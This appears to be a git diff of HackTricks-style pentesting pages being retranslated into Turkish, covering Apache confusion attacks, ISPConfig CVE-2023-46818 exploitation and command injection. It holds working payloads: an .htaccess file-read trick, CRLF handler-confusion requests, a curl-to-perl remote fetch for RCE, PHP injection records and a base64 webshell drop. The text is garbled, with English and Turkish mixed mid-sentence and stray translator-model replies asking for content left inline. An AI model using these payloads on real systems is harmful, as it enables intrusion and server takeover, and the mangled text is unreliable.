-Bir dizinin .htaccess'ini kontrol edebiliyorsanız ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz.
+Bir dizinin .htaccess dosyasını kontrol edebiliyor ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz.
 
 - Gereksinimler:
-- Apache 2.4'te expression parser (ap_expr) etkin olmalı (2.4'te varsayılan).
-- vhost/dir, .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo).
-- Apache worker kullanıcısının hedef dosyada okuma izni olmalı.
+- Apache 2.4, expression parser (ap_expr) etkinleştirilmiş (varsayılan 2.4).
+- vhost/dir .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo).
+- Apache worker kullanıcısının hedef dosya üzerinde okuma izinleri olmalı.
 
 .htaccess payload:
 ```apache
@@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
 # On any 404 under this directory, return the contents of an absolute filesystem path
 ErrorDocument 404 %{file:/etc/passwd}
 ```
-Bu dizinin altındaki var olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken:
+Bu dizinin altındaki mevcut olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken:
 ```bash
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
-Notes and tips:
-- Only absolute paths work. The content is returned as the response body for the 404 handler.
-- Etkili okuma izinleri Apache kullanıcısının (tipik olarak www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow dosyalarını okuyamazsınız.
-- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
+Notlar ve ipuçları:
+- Sadece mutlak yollar çalışır. İçerik 404 handler için yanıt gövdesi olarak döndürülür.
+- Etkili okuma izinleri Apache kullanıcısının (genellikle www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow okunamaz.
+- .htaccess root sahibi olsa bile, üst dizin tenant sahibi ise ve yeniden adlandırmaya izin veriyorsa, orijinal .htaccess'i yeniden adlandırıp SFTP/FTP ile kendi yerine koyduğunuz dosyayı yükleyebilirsiniz:
 - rename .htaccess .htaccess.bk
 - put your malicious .htaccess
-- Bunu, DocumentRoot veya vhost yapılandırma yolları altındaki uygulama kaynaklarını okuyup sırları (DB creds, API keys, vb.) toplamak için kullanın.
+- Bunu, DocumentRoot veya vhost config yolları altındaki uygulama kaynak kodunu okuyup sırları (DB creds, API keys, vb.) elde etmek için kullanın.
 
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
-These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
+Bu tür saldırılar [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tarafından tanıtıldı ve belgelendi; aşağıda bir özet verilmiştir. "confusion" saldırısı temelde birlikte çalışan onlarca modülün Apache oluştururken tam olarak senkronize olmamasından yararlanır; bazı modüllerin beklenmedik verileri değiştirmesi daha sonraki bir modülde güvenlik açığına neden olabilir.
 
 ### Filename Confusion
 
 #### Truncation
 
-The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak muamele görecek ve bu bir probleme yol açacaktır.
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak işlenir ve bu da sorun yaratabilir.
 
 - **Path Truncation**
 
-It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
+Aşağıdaki kural örneğinde olduğu gibi `mod_rewrite`'ı kötüye kullanarak, beklenen yolun son kısmını basitçe bir `?` ekleyerek kaldırıp dosya sistemi içindeki diğer dosyalara erişmek mümkündür:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
 ```
 - **Mislead RewriteFlag Assignment**
 
-Aşağıdaki rewrite kuralında, URL .php ile bittiği sürece php olarak işlenecek ve çalıştırılacaktır. Bu nedenle, path içine farklı bir dosya türü (ör. bir resim) yüklerken `?` karakterinden sonra .php ile biten bir URL göndermek mümkündür; bu dosyanın içinde kötü amaçlı php kodu bulunabilir:
+Aşağıdaki rewrite rule'da, URL `.php` ile bittiği sürece php olarak kabul edilip çalıştırılacaktır. Bu nedenle, `?` karakterinden sonra `.php` ile biten bir URL gönderip path'e farklı türde (ör. bir image) içinde kötü amaçlı php kodu bulunan bir dosya yüklemek mümkündür:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-Erişimin reddedilmesi gereken yapılandırmalarda bile, kullanıcının erişmemesi gereken dosyalara erişim mümkün olabilir:
+Erişimin reddedilmesi gereken durumlarda bile, şu gibi yapılandırmalarla kullanıcının erişmemesi gereken dosyalara erişmek mümkün olabilir:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri (ör. `http://server/admin.php%3Fooo.php`) alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'in yüklenmesine izin verecektir.
+Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri, ör. `http://server/admin.php%3Fooo.php`, alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; bu nedenle önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'i yüklemeye izin verir.
 
 ### DocumentRoot Karışıklığı
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Apache hakkında eğlenceli bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Yani, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında arayacaktır. Bu temelde dosya sistemindeki dosyalara erişmek için suistimal edilebilir.
+Apache hakkında ilginç bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Bu nedenle, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` yollarında kontrol edecektir. Bu temel olarak dosya sistemi içindeki dosyalara erişmek için kötüye kullanılabilir.
 
-#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkarma**
+#### **Server-Side Source Code Disclosure**
 
-- **CGI Kaynak Kodunu Açığa Çıkarma**
+- **Disclose CGI Source Code**
 
-Sondaki %3F'yi eklemek, bir cgi modülünün kaynak kodunu leak etmek için yeterlidir:
+Sona %3F eklemek, bir CGI modülünün source code'unu leak etmek için yeterlidir:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **Disclose PHP Source Code**
+- **PHP Kaynak Kodunu İfşa Etme**
 
-Bir sunucunun farklı domain'leri varsa ve bunlardan biri static bir domain ise, bu dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir:
+Eğer bir sunucuda farklı alan adları varsa ve bunlardan biri statik bir alan adıysa, bu durum dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-Önceki saldırının asıl sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) içinde olduğu gibi reddedilmesidir:
+Önceki saldırının temel sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’ın [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) dosyasında olduğu gibi reddedilecek olmasıdır:
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share`'e izin verir:
+Ancak [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share` dizinine izin verir:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-Bu nedenle, bu dağıtımlarda **`/usr/share` içinde bulunan dosyalar kötüye kullanılabilir.**
+Therefore, it would be possible to **`/usr/share` inside bulunan dosyaları istismar etmek mümkün olacaktır.**
 
-**Yerel Gadget ile Information Disclosure**
+**Local Gadget to Information Disclosure**
 
-- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** betiğini açığa çıkarabilir; bu hassas ortam değişkenlerini leak edebilir.
-- **Nginx** veya **Jetty** çalıştıran sunucular, **/usr/share** altında yer alan varsayılan web kökleri aracılığıyla hassas web uygulaması bilgilerini (ör. **web.xml**) expose edebilir:
+- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
+- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
-**Yerel Gadget ile XSS**
+**Local Gadget to XSS**
 
-- LibreOffice yüklü bir Ubuntu Desktop üzerinde, yardım dosyalarının dil değiştirme özelliğinin suistimali Cross-Site Scripting (XSS)'e yol açabilir. **/usr/share/libreoffice/help/help.html** içindeki URL manipülasyonu, unsafe **RewriteRule** nedeniyle zararlı sayfalara veya eski sürümlere yönlendirmeye sebep olabilir.
+- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **güvensiz RewriteRule**.
 
-**Yerel Gadget ile LFI**
+**Local Gadget to LFI**
 
-- PHP veya **JpGraph** ya da **jQuery-jFeed** gibi bazı front-end paketleri yüklüyse, bu paketlerin dosyaları kullanılarak **/etc/passwd** gibi hassas dosyalar okunabilir:
+- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
-**Yerel Gadget ile SSRF**
+**Local Gadget to SSRF**
 
-- **MagpieRSS**'in **magpie_debug.php**'si **/usr/share/php/magpierss/scripts/magpie_debug.php** konumunda bulunuyorsa, kolayca bir SSRF zafiyeti oluşturulabilir ve bu da daha ileri suistimallere kapı açar.
+- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
 
-**Yerel Gadget ile RCE**
+**Local Gadget to RCE**
 
-- Remote Code Execution (RCE) için fırsatlar geniştir; güncel olmayan **PHPUnit** veya **phpLiteAdmin** gibi zafiyetli kurulumlar, rastgele kod yürütmek için exploit edilebilir ve yerel gadget manipülasyonunun geniş potansiyelini gösterir.
+- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
 
 #### **Jailbreak from Local Gadgets**
 
-Ayrıca, izin verilen klasörlerdeki yüklü yazılımlar tarafından oluşturulan symlink'leri takip ederek jailbreak yapmak da mümkündür, örneğin:
+It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
 
 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@@ -186,53 +186,53 @@ Ayrıca, izin verilen klasörlerdeki yüklü yazılımlar tarafından oluşturul
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
 
-Ek olarak, symlink'lerin suistimali ile **Redmine**'de **RCE** elde etmek mümkün olmuştur.
+Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
 
 ### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
 
-Bu saldırı, hem PHP işlemesini etkinleştirmek için kullanılabilen `AddHandler` ve `AddType` direktifleri arasındaki işlevsel örtüşmeyi suistimal eder. Başlangıçta bu direktifler sunucunun iç yapısında farklı alanları etkiliyordu (sırasıyla `r->handler` ve `r->content_type`). Ancak eski kod nedeniyle Apache belirli koşullar altında bu direktifleri birbirinin yerine kullanır; eğer `r->content_type` ayarlıysa ve `r->handler` değilse, ilki `r->handler`'a çevrilir.
+This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
 
-Dahası, Apache HTTP Server'da (`server/config.c#L420`), `ap_run_handler()` çalıştırılmadan önce `r->handler` boşsa, sunucu **handler** olarak `r->content_type`'ı kullanır; bu da `AddType` ve `AddHandler`'ı pratikte eşdeğer kılar.
+Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
 
 #### **Overwrite Handler to Disclose PHP Source Code**
 
-[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) sunumunda, bir istemcinin gönderdiği yanlış bir `Content-Length` değeri nedeniyle Apache'in yanlışlıkla **PHP kaynak kodunu return etmesine** yol açan bir zafiyet gösterildi. Bu, ModSecurity ile Apache Portable Runtime (APR) arasındaki bir hata işleme sorunundan kaynaklanıyordu; çift yanıt durumunda `r->content_type` üzerine yazılarak `text/html` olacak şekilde değiştiriliyordu.\
-ModSecurity dönüş değerlerini düzgün işlemeyince, PHP kodunu return eder ve onu yorumlamaz.
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
+Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
 
 #### **Overwrite Handler to XXXX**
 
-TODO: Orange henüz bu zafiyeti açıklamadı
+TODO: Orange hasn't disclose this vulnerability yet
 
 ### **Invoke Arbitrary Handlers**
 
-Eğer bir saldırgan bir sunucu yanıtında `Content-Type` başlığını kontrol edebilirse, keyfi modül handler'larını invoke edebilir. Ancak saldırgan bunun kontrolünü ele geçirdiğinde isteğin çoğu işlemi zaten gerçekleştirilmiş olur. Yine de, eğer `Location` başlığı suistimal edilirse istek sürecini yeniden başlatmak mümkündür; çünkü eğer döndürülen `Status` 200 ise ve `Location` başlığı `'/'` ile başlıyorsa, yanıt bir Server-Side Redirection olarak değerlendirilir ve yeniden işlenmelidir.
+If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
 
-RFC 3875 (CGI hakkındaki spesifikasyon) [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) şu Local Redirect Response davranışını tanımlar:
+According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
 
 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
-Dolayısıyla, bu saldırıyı gerçekleştirmek için aşağıdaki zaafiyetlerden biri gereklidir:
+Therefore, to perform this attack is needed one of the following vulns:
 
 - CRLF Injection in the CGI response headers
 - SSRF with complete control of the response headers
 
 #### **Arbitrary Handler to Information Disclosure**
 
-Örneğin `/server-status` sadece yerel erişime açık olmalıdır:
+For example `/server-status` should only be accessible locally:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location header'ını `/` ile başlayan bir değere ayarlayarak mümkündür.
+Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location başlığını `/` ile başlayan bir değerle ayarlayarak mümkündür.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Arbitrary Handler'dan Full SSRF'ye**
+#### **Keyfi Handler'dan Tam SSRF'ye**
 
 Herhangi bir URL'deki herhangi bir protokole erişmek için `mod_proxy`'ye yönlendirme:
 ```
@@ -243,11 +243,11 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Ancak, `X-Forwarded-For` header eklendiği için bulut metadata uç noktalarına erişim engelleniyor.
+Ancak, `X-Forwarded-For` başlığı ekleniyor ve bulut metadata uç noktalarına erişimi engelliyor.
 
 #### **Arbitrary Handler to Access Local Unix Domain Socket**
 
-PHP-FPM’in local Unix Domain Socket'ine erişerek `/tmp/` içinde bulunan bir PHP backdoor'unu çalıştırın:
+PHP-FPM’s local Unix Domain Socket'e erişerek `/tmp/`'de bulunan bir PHP backdoor'u çalıştırın:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
 ```
 #### **Arbitrary Handler to RCE**
 
-Resmi [PHP Docker](https://hub.docker.com/_/php) imajı PEAR (`Pearcmd.php`) içerir; bu, komut satırı bir PHP paket yönetim aracıdır ve RCE elde etmek için kötüye kullanılabilir:
+Resmi [PHP Docker](https://hub.docker.com/_/php) image'ı PEAR (`Pearcmd.php`) içerir; bu, komut satırı PHP paket yönetim aracı olup RCE elde etmek için kötüye kullanılabilir:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@@ -265,9 +265,9 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Bu tekniğin detayları için [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) (yazar: [Phith0n](https://x.com/phithon_xg)) adresine bakın.
+Bu tekniğin detayları için, [Phith0n](https://x.com/phithon_xg) tarafından yazılan [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) sayfasına bakın.
 
-## Kaynaklar
+## Referanslar
 
 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
 - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -4,36 +4,36 @@
 
 ## Genel Bakış
 
-ISPConfig, açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde hatalı bir çeviri kaydı aracılığıyla rastgele PHP kodu enjeksiyonuna izin veren bir dil dosyası düzenleyici özelliğini içeriyordu. Bu, web sunucusu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak ayrıcalık yükseltmesine neden olabilir.
+ISPConfig açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde, bozuk bir çeviri kaydı aracılığıyla rastgele PHP kodu enjekte edilmesine izin veren bir dil dosyası editörü özelliği içeriyordu. Bu, web sunucu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak yetki yükseltme sağlayabilir.
 
 Önemli varsayılan yollar:
-- Web root genellikle `php -S` ile servis edildiğinde veya Apache/nginx aracılığıyla `/var/www/ispconfig` konumunda olur.
-- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlı olabilir; gerekiyorsa SSH port-forward kullanın).
+- Web root genellikle `/var/www/ispconfig` konumundadır; `php -S` ile veya Apache/nginx üzerinden servis edildiğinde.
+- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlıdır; gerekirse SSH port-forward kullanın).
 
-İpucu: Panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), erişim için port-forward yapın:
+İpucu: Eğer panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), yönlendirin:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
 ```
 ## Language editor PHP code injection (CVE-2023-46818)
 
-- Etkilenen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
+- Etkilenen: ISPConfig 3.2.11'e kadar (3.2.11p1'de düzeltildi)
 - Önkoşullar:
-- Yerleşik superadmin hesabı `admin` ile giriş yapın (satıcıya göre diğer roller etkilenmez)
-- Dil düzenleyicinin etkinleştirilmiş olması gerekir: `/usr/local/ispconfig/security/security_settings.ini` dosyasında `admin_allow_langedit=yes`
-- Etkisi: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan keyfi PHP enjekte edebilir; bu, web bağlamında RCE elde edilmesine yol açar
+- Yerleşik superadmin hesabı `admin` olarak giriş yapın (sağlayıcıya göre diğer roller etkilenmez)
+- Language editor etkin olmalıdır: `/usr/local/ispconfig/security/security_settings.ini` içinde `admin_allow_langedit=yes`
+- Etki: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan rastgele PHP enjekte edebilir; böylece web bağlamında RCE elde edilir
 
-Referanslar: NVD girişi CVE-2023-46818 ve aşağıdaki References bölümündeki satıcı bildirimi bağlantısı.
+Referanslar: NVD girişi CVE-2023-46818 ve sağlayıcı uyarı bağlantısı aşağıdaki Referanslar bölümünde.
 
 ### Manuel istismar akışı
 
-1) CSRF token'larını elde etmek için bir dil dosyası açın/oluşturun
+1) CSRF alanlarını elde etmek için bir dil dosyası açın/oluşturun
 
-Formu başlatmak için ilk POST'u gönderin ve HTML yanıtından CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`.
+Formu başlatmak için ilk POST'u gönderin ve HTML yanıttan CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`.
 
-2) records[] aracılığıyla PHP enjekte edin ve kaydedin
+2) Inject PHP via records[] and save
 
-CSRF alanlarını ve kötü niyetli bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri:
+CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -42,43 +42,43 @@ Cookie: ispconfig_auth=...
 
 lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
 ```
-Bant-dışı test (ICMP'yi gözlemle):
+Out-of-band test (ICMP'yi gözlemleyin):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
-3) Dosya yazma ve webshell bırakma
+3) Dosyalar oluşturun ve bir webshell bırakın
 
-Web'e erişilebilir bir dizin (örn., `admin/`) altında bir dosya oluşturmak için `file_put_contents` kullanın:
+Web üzerinden erişilebilen bir yolun (örn. `admin/`) altına dosya oluşturmak için `file_put_contents` kullanın:
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
-Ardından POST body içindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın:
+Sonra POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanarak basit bir webshell yazın:
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Çevirmemi istediğiniz src/network-services-pentesting/pentesting-web/ispconfig.md dosyasının içeriğini gönderin. İçerik olmadan çeviri yapamam.
+Çevirmemi istediğiniz dosya içeriğini buraya yapıştırın. Kod blokları, bağlantılar, path'ler ve belirtilen tag'ları (ör. {#tabs}, {#ref}, linkler) olduğu gibi bırakacağım; geri kalan İngilizce metni Türkçeye çevireceğim.
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-Eğer PHP root olarak çalıştırılırsa (ör. `php -S 127.0.0.1:8080` root tarafından başlatıldıysa), bu anında root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod yürütme elde edersiniz.
+Eğer PHP root olarak çalıştırılıyorsa (ör. root tarafından başlatılan `php -S 127.0.0.1:8080` ile), bu doğrudan root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod çalıştırma elde edersiniz.
 
 ### Python PoC
 
-Kullanıma hazır bir exploit, token yönetimini ve payload teslimatını otomatikleştirir:
+Kullanıma hazır bir exploit token yönetimini ve payload teslimatını otomatikleştirir:
 - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
 
-Örnek çalıştırma:
+Örnek çalışma:
 ```bash
 python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
 ### Sertleştirme
 
-- 3.2.11p1 veya daha yeni sürüme yükseltin
-- Kesinlikle gerekmedikçe dil düzenleyicisini devre dışı bırakın:
+- 3.2.11p1 veya daha sonraki bir sürüme yükseltin
+- Dil düzenleyicisini yalnızca kesinlikle gerekli olmadıkça devre dışı bırakın:
 ```
 admin_allow_langedit=no
 ```
-- Paneli root olarak çalıştırmaktan kaçının; ayrıcalıkları düşürmek için PHP-FPM veya web sunucusunu yapılandırın
+- Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın
 - Yerleşik `admin` hesabı için güçlü kimlik doğrulamayı zorunlu kılın
 
 ## Referanslar

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## command Injection nedir?
+## What is command Injection?
 
-Bir **command injection**, bir uygulamayı barındıran sunucuda bir saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Bunun sonucunda uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar.
+A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.
 
 ### Bağlam
 
-Girişinizin **nereye enjekte edildiğine** bağlı olarak, komutları çalıştırmadan önce **alıntılanmış bağlamı sonlandırmanız** (using `"` or `'`) gerekebilir.
+Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'`) gerekebilir.
 
 ## Command Injection/Execution
 ```bash
@@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limition** Bypass'ları
+### **Sınırlama** Bypasses
 
